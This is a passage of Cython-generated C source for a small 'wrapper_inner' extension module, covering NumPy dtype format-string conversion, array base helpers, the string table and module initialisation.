PyInt_FromLong(NPY_LONGDOUBLE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 103;\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":827\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf             # <<<<<<<<<<<<<<\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_CFLOAT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 102;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":828\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd             # <<<<<<<<<<<<<<\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_CDOUBLE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 100;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":829\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg             # <<<<<<<<<<<<<<\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n *             else:\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_CLONGDOUBLE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 103;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L11;\n      }\n\n      /* \"numpy.pxd\":830\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"             # <<<<<<<<<<<<<<\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_OBJECT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_6 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_6) {\n        (__pyx_v_f[0]) = 79;\n        goto __pyx_L11;\n      }\n      /*else*/ {\n\n        /* \"numpy.pxd\":832\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)             # <<<<<<<<<<<<<<\n *             f += 1\n *         else:\n */\n        __pyx_t_5 = PyNumber_Remainder(((PyObject *)__pyx_kp_u_11), __pyx_v_t); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(((PyObject *)__pyx_t_5));\n        __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(((PyObject *)__pyx_t_3));\n        PyTuple_SET_ITEM(__pyx_t_3, 0, ((PyObject *)__pyx_t_5));\n        __Pyx_GIVEREF(((PyObject *)__pyx_t_5));\n        __pyx_t_5 = 0;\n        __pyx_t_5 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_t_3), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_5);\n        __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n        __Pyx_Raise(__pyx_t_5, 0, 0);\n        __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n        {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      }\n      __pyx_L11:;\n\n      /* \"numpy.pxd\":833\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *             f += 1             # <<<<<<<<<<<<<<\n *         else:\n *             # Cython ignores struct boundary information (\"T{...}\"),\n */\n      __pyx_v_f = (__pyx_v_f + 1);\n      goto __pyx_L9;\n    }\n    /*else*/ {\n\n      /* \"numpy.pxd\":837\n *             # Cython ignores struct boundary information (\"T{...}\"),\n *             # so don't output it\n *             f = _util_dtypestring(child, f, end, offset)             # <<<<<<<<<<<<<<\n *     return f\n * \n */\n      __pyx_t_11 = __pyx_f_5numpy__util_dtypestring(__pyx_v_child, __pyx_v_f, __pyx_v_end, __pyx_v_offset); if (unlikely(__pyx_t_11 == NULL)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 837; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_v_f = __pyx_t_11;\n    }\n    __pyx_L9:;\n  }\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n\n  /* \"numpy.pxd\":838\n *             # so don't output it\n *             f = _util_dtypestring(child, f, end, offset)\n *     return f             # <<<<<<<<<<<<<<\n * \n * \n */\n  __pyx_r = __pyx_v_f;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_XDECREF(__pyx_t_5);\n  __Pyx_AddTraceback(\"numpy._util_dtypestring\");\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_DECREF((PyObject *)__pyx_v_child);\n  __Pyx_DECREF(__pyx_v_fields);\n  __Pyx_DECREF(__pyx_v_childname);\n  __Pyx_DECREF(__pyx_v_new_offset);\n  __Pyx_DECREF(__pyx_v_t);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":953\n * \n * \n * cdef inline void set_array_base(ndarray arr, object base):             # <<<<<<<<<<<<<<\n *      cdef PyObject* baseptr\n *      if base is None:\n */\n\nstatic CYTHON_INLINE void __pyx_f_5numpy_set_array_base(PyArrayObject *__pyx_v_arr, PyObject *__pyx_v_base) {\n  PyObject *__pyx_v_baseptr;\n  int __pyx_t_1;\n  PyObject *__pyx_t_2 = NULL;\n  __Pyx_RefNannySetupContext(\"set_array_base\");\n\n  /* \"numpy.pxd\":955\n * cdef inline void set_array_base(ndarray arr, object base):\n *      cdef PyObject* baseptr\n *      if base is None:             # <<<<<<<<<<<<<<\n *          baseptr = NULL\n *      else:\n */\n  __pyx_t_1 = (__pyx_v_base == Py_None);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":956\n *      cdef PyObject* baseptr\n *      if base is None:\n *          baseptr = NULL             # <<<<<<<<<<<<<<\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!\n */\n    __pyx_v_baseptr = NULL;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":958\n *          baseptr = NULL\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!             # <<<<<<<<<<<<<<\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)\n */\n    __pyx_t_2 = __pyx_v_base;\n    __Pyx_INCREF(__pyx_t_2);\n    Py_INCREF(__pyx_t_2);\n    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n\n    /* \"numpy.pxd\":959\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!\n *          baseptr = <PyObject*>base             # <<<<<<<<<<<<<<\n *      Py_XDECREF(arr.base)\n *      arr.base = baseptr\n */\n    __pyx_v_baseptr = ((PyObject *)__pyx_v_base);\n  }\n  __pyx_L3:;\n\n  /* \"numpy.pxd\":960\n *          Py_INCREF(base) # important to do this before decref below!\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)             # <<<<<<<<<<<<<<\n *      arr.base = baseptr\n * \n */\n  Py_XDECREF(__pyx_v_arr->base);\n\n  /* \"numpy.pxd\":961\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)\n *      arr.base = baseptr             # <<<<<<<<<<<<<<\n * \n * cdef inline object get_array_base(ndarray arr):\n */\n  __pyx_v_arr->base = __pyx_v_baseptr;\n\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"numpy.pxd\":963\n *      arr.base = baseptr\n * \n * cdef inline object get_array_base(ndarray arr):             # <<<<<<<<<<<<<<\n *     if arr.base is NULL:\n *         return None\n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_get_array_base(PyArrayObject *__pyx_v_arr) {\n  PyObject *__pyx_r = NULL;\n  int __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"get_array_base\");\n\n  /* \"numpy.pxd\":964\n * \n * cdef inline object get_array_base(ndarray arr):\n *     if arr.base is NULL:             # <<<<<<<<<<<<<<\n *         return None\n *     else:\n */\n  __pyx_t_1 = (__pyx_v_arr->base == NULL);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":965\n * cdef inline object get_array_base(ndarray arr):\n *     if arr.base is NULL:\n *         return None             # <<<<<<<<<<<<<<\n *     else:\n *         return <object>arr.base\n */\n    __Pyx_XDECREF(__pyx_r);\n    __Pyx_INCREF(Py_None);\n    __pyx_r = Py_None;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":967\n *         return None\n *     else:\n *         return <object>arr.base             # <<<<<<<<<<<<<<\n */\n    __Pyx_XDECREF(__pyx_r);\n    __Pyx_INCREF(((PyObject *)__pyx_v_arr->base));\n    __pyx_r = ((PyObject *)__pyx_v_arr->base);\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\nstatic PyMethodDef __pyx_methods[] = {\n  {0, 0, 0, 0}\n};\n\n#if PY_MAJOR_VERSION >= 3\nstatic struct PyModuleDef __pyx_moduledef = {\n    PyModuleDef_HEAD_INIT,\n    __Pyx_NAMESTR(\"wrapper_inner\"),\n    0, /* m_doc */\n    -1, /* m_size */\n    __pyx_methods /* m_methods */,\n    NULL, /* m_reload */\n    NULL, /* m_traverse */\n    NULL, /* m_clear */\n    NULL /* m_free */\n};\n#endif\n\nstatic __Pyx_StringTabEntry __pyx_string_tab[] = {\n  {&__pyx_kp_s_1, __pyx_k_1, sizeof(__pyx_k_1), 0, 0, 1, 0},\n  {&__pyx_kp_u_11, __pyx_k_11, sizeof(__pyx_k_11), 0, 1, 0, 0},\n  {&__pyx_kp_u_12, __pyx_k_12, sizeof(__pyx_k_12), 0, 1, 0, 0},\n  {&__pyx_kp_u_15, __pyx_k_15, sizeof(__pyx_k_15), 0, 1, 0, 0},\n  {&__pyx_kp_s_2, __pyx_k_2, sizeof(__pyx_k_2), 0, 0, 1, 0},\n  {&__pyx_kp_s_3, __pyx_k_3, sizeof(__pyx_k_3), 0, 0, 1, 0},\n  {&__pyx_kp_u_5, __pyx_k_5, sizeof(__pyx_k_5), 0, 1, 0, 0},\n  {&__pyx_kp_u_7, __pyx_k_7, sizeof(__pyx_k_7), 0, 1, 0, 0},\n  {&__pyx_kp_u_9, __pyx_k_9, sizeof(__pyx_k_9), 0, 1, 0, 0},\n  {&__pyx_n_s__RuntimeError, __pyx_k__RuntimeError, sizeof(__pyx_k__RuntimeError), 0, 0, 1, 1},\n  {&__pyx_n_s__ValueError, __pyx_k__ValueError, sizeof(__pyx_k__ValueError), 0, 0, 1, 1},\n  {&__pyx_n_s____main__, __pyx_k____main__, sizeof(__pyx_k____main__), 0, 0, 1, 1},\n  {&__pyx_n_s____test__, __pyx_k____test__, sizeof(__pyx_k____test__), 0, 0, 1, 1},\n  {&__pyx_n_s__base, __pyx_k__base, sizeof(__pyx_k__base), 0, 0, 1, 1},\n  {&__pyx_n_s__buf, __pyx_k__buf, sizeof(__pyx_k__buf), 0, 0, 1, 1},\n  {&__pyx_n_s__byteorder, __pyx_k__byteorder, sizeof(__pyx_k__byteorder), 0, 0, 1, 1},\n  {&__pyx_n_s__descr, __pyx_k__descr, sizeof(__pyx_k__descr), 0, 0, 1, 1},\n  {&__pyx_n_s__do_awesome_work, __pyx_k__do_awesome_work, sizeof(__pyx_k__do_awesome_work), 0, 0, 1, 1},\n  {&__pyx_n_s__fields, __pyx_k__fields, sizeof(__pyx_k__fields), 0, 0, 1, 1},\n  {&__pyx_n_s__format, __pyx_k__format, sizeof(__pyx_k__format), 0, 0, 1, 1},\n  {&__pyx_n_s__itemsize, __pyx_k__itemsize, sizeof(__pyx_k__itemsize), 0, 0, 1, 1},\n  {&__pyx_n_s__names, __pyx_k__names, sizeof(__pyx_k__names), 0, 0, 1, 1},\n  {&__pyx_n_s__ndim, __pyx_k__ndim, sizeof(__pyx_k__ndim), 0, 0, 1, 1},\n  {&__pyx_n_s__np, __pyx_k__np, sizeof(__pyx_k__np), 0, 0, 1, 1},\n  {&__pyx_n_s__numpy, __pyx_k__numpy, sizeof(__pyx_k__numpy), 0, 0, 1, 1},\n  {&__pyx_n_s__obj, __pyx_k__obj, sizeof(__pyx_k__obj), 0, 0, 1, 1},\n  {&__pyx_n_s__ones, __pyx_k__ones, sizeof(__pyx_k__ones), 0, 0, 1, 1},\n  {&__pyx_n_s__pure_py_test, __pyx_k__pure_py_test, sizeof(__pyx_k__pure_py_test), 0, 0, 1, 1},\n  {&__pyx_n_s__range, __pyx_k__range, sizeof(__pyx_k__range), 0, 0, 1, 1},\n  {&__pyx_n_s__readonly, __pyx_k__readonly, sizeof(__pyx_k__readonly), 0, 0, 1, 1},\n  {&__pyx_n_s__shape, __pyx_k__shape, sizeof(__pyx_k__shape), 0, 0, 1, 1},\n  {&__pyx_n_s__strides, __pyx_k__strides, sizeof(__pyx_k__strides), 0, 0, 1, 1},\n  {&__pyx_n_s__suboffsets, __pyx_k__suboffsets, sizeof(__pyx_k__suboffsets), 0, 0, 1, 1},\n  {&__pyx_n_s__type_num, __pyx_k__type_num, sizeof(__pyx_k__type_num), 0, 0, 1, 1},\n  {&__pyx_n_s__work_module, __pyx_k__work_module, sizeof(__pyx_k__work_module), 0, 0, 1, 1},\n  {&__pyx_n_s__wrapper_inner, __pyx_k__wrapper_inner, sizeof(__pyx_k__wrapper_inner), 0, 0, 1, 1},\n  {0, 0, 0, 0, 0, 0, 0}\n};\nstatic int __Pyx_InitCachedBuiltins(void) {\n  __pyx_builtin_ValueError = __Pyx_GetName(__pyx_b, __pyx_n_s__ValueError); if (!__pyx_builtin_ValueError) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 206; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_builtin_range = __Pyx_GetName(__pyx_b, __pyx_n_s__range); if (!__pyx_builtin_range) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 219; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_builtin_RuntimeError = __Pyx_GetName(__pyx_b, __pyx_n_s__RuntimeError); if (!__pyx_builtin_RuntimeError) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 787; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  return 0;\n  __pyx_L1_error:;\n  return -1;\n}\n\nstatic int __Pyx_InitCachedConstants(void) {\n  __Pyx_RefNannySetupContext(\"__Pyx_InitCachedConstants\");\n\n  /* \"wrapper_inner.pyx\":68\n *     print('\\nHello from a pure Python function inside the Cython module.')\n * \n *     data = np.ones(5)             # <<<<<<<<<<<<<<\n *     work_module.do_awesome_work(data)\n */\n  __pyx_k_tuple_4 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 68; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_4));\n  __Pyx_INCREF(__pyx_int_5);\n  PyTuple_SET_ITEM(__pyx_k_tuple_4, 0, __pyx_int_5);\n  __Pyx_GIVEREF(__pyx_int_5);\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_4));\n\n  /* \"numpy.pxd\":206\n *             if ((flags & pybuf.PyBUF_C_CONTIGUOUS == pybuf.PyBUF_C_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_C_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not C contiguous\")             # <<<<<<<<<<<<<<\n * \n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n */\n  __pyx_k_tuple_6 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_6)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 206; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_6));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_5));\n  PyTuple_SET_ITEM(__pyx_k_tuple_6, 0, ((PyObject *)__pyx_kp_u_5));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_5));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_6));\n\n  /* \"numpy.pxd\":210\n *             if ((flags & pybuf.PyBUF_F_CONTIGUOUS == pybuf.PyBUF_F_CONTIGUOUS)\n *                 and not PyArray_CHKFLAGS(self, NPY_F_CONTIGUOUS)):\n *                 raise ValueError(u\"ndarray is not Fortran contiguous\")             # <<<<<<<<<<<<<<\n * \n *             info.buf = PyArray_DATA(self)\n */\n  __pyx_k_tuple_8 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_8)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 210; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_8));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_7));\n  PyTuple_SET_ITEM(__pyx_k_tuple_8, 0, ((PyObject *)__pyx_kp_u_7));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_7));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_8));\n\n  /* \"numpy.pxd\":248\n *                 if ((descr.byteorder == '>' and little_endian) or\n *                     (descr.byteorder == '<' and not little_endian)):\n *                     raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *                 if   t == NPY_BYTE:        f = \"b\"\n *                 elif t == NPY_UBYTE:       f = \"B\"\n */\n  __pyx_k_tuple_10 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_10)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 248; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_10));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_9));\n  PyTuple_SET_ITEM(__pyx_k_tuple_10, 0, ((PyObject *)__pyx_kp_u_9));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_9));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_10));\n\n  /* \"numpy.pxd\":787\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")             # <<<<<<<<<<<<<<\n * \n *         if ((child.byteorder == '>' and little_endian) or\n */\n  __pyx_k_tuple_13 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_13)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 787; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_13));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_12));\n  PyTuple_SET_ITEM(__pyx_k_tuple_13, 0, ((PyObject *)__pyx_kp_u_12));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_12));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_13));\n\n  /* \"numpy.pxd\":791\n *         if ((child.byteorder == '>' and little_endian) or\n *             (child.byteorder == '<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *             # One could encode it in the format string and have Cython\n *             # complain instead, BUT: < and > in format strings also imply\n */\n  __pyx_k_tuple_14 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_14)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 791; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_14));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_9));\n  PyTuple_SET_ITEM(__pyx_k_tuple_14, 0, ((PyObject *)__pyx_kp_u_9));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_9));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_14));\n\n  /* \"numpy.pxd\":811\n *             t = child.type_num\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")             # <<<<<<<<<<<<<<\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n */\n  __pyx_k_tuple_16 = PyTuple_New(1); if (unlikely(!__pyx_k_tuple_16)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 811; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_k_tuple_16));\n  __Pyx_INCREF(((PyObject *)__pyx_kp_u_15));\n  PyTuple_SET_ITEM(__pyx_k_tuple_16, 0, ((PyObject *)__pyx_kp_u_15));\n  __Pyx_GIVEREF(((PyObject *)__pyx_kp_u_15));\n  __Pyx_GIVEREF(((PyObject *)__pyx_k_tuple_16));\n  __Pyx_RefNannyFinishContext();\n  return 0;\n  __pyx_L1_error:;\n  __Pyx_RefNannyFinishContext();\n  return -1;\n}\n\nstatic int __Pyx_InitGlobals(void) {\n  if (__Pyx_InitStrings(__pyx_string_tab) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  __pyx_int_5 = PyInt_FromLong(5); if (unlikely(!__pyx_int_5)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  __pyx_int_15 = PyInt_FromLong(15); if (unlikely(!__pyx_int_15)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;};\n  return 0;\n  __pyx_L1_error:;\n  return -1;\n}\n\n#if PY_MAJOR_VERSION < 3\nPyMODINIT_FUNC initwrapper_inner(void); /*proto*/\nPyMODINIT_FUNC initwrapper_inner(void)\n#else\nPyMODINIT_FUNC PyInit_wrapper_inner(void); /*proto*/\nPyMODINIT_FUNC PyInit_wrapper_inner(void)\n#endif\n{\n  PyObject *__pyx_t_1 = NULL;\n  #if CYTHON_REFNANNY\n  void* __pyx_refnanny = NULL;\n  __Pyx_RefNanny = __Pyx_RefNannyImportAPI(\"refnanny\");\n  if (!__Pyx_RefNanny) {\n      PyErr_Clear();\n      __Pyx_RefNanny = __Pyx_RefNannyImportAPI(\"Cython.Runtime.refnanny\");\n      if (!__Pyx_RefNanny)\n          Py_FatalError(\"failed to import 'refnanny' module\");\n  }\n  __pyx_refnanny = __Pyx_RefNanny->SetupContext(\"PyMODINIT_FUNC PyInit_wrapper_inner(void)\", __LINE__, __FILE__);\n  #endif\n  __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_empty_bytes = PyBytes_FromStringAndSize(\"\", 0); if (unlikely(!__pyx_empty_bytes)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #ifdef __pyx_binding_PyCFunctionType_USED\n  if (__pyx_binding_PyCFunctionType_init() < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 2; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  #endif\n  /*--- Library function declarations ---*/\n  /*--- Threads initialization code ---*/\n  #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS\n  #ifdef WITH_THREAD /* Python build with threading support? */\n  PyEval_InitThreads();\n  #endif\n  #endif\n  /*--- Module creation code ---*/\n  #if PY_MAJOR_VERSION < 3\n  __pyx_m = Py_InitModule4(__Pyx_NAMESTR(\"wrapper_inner\"), __pyx_methods, 0, 0, 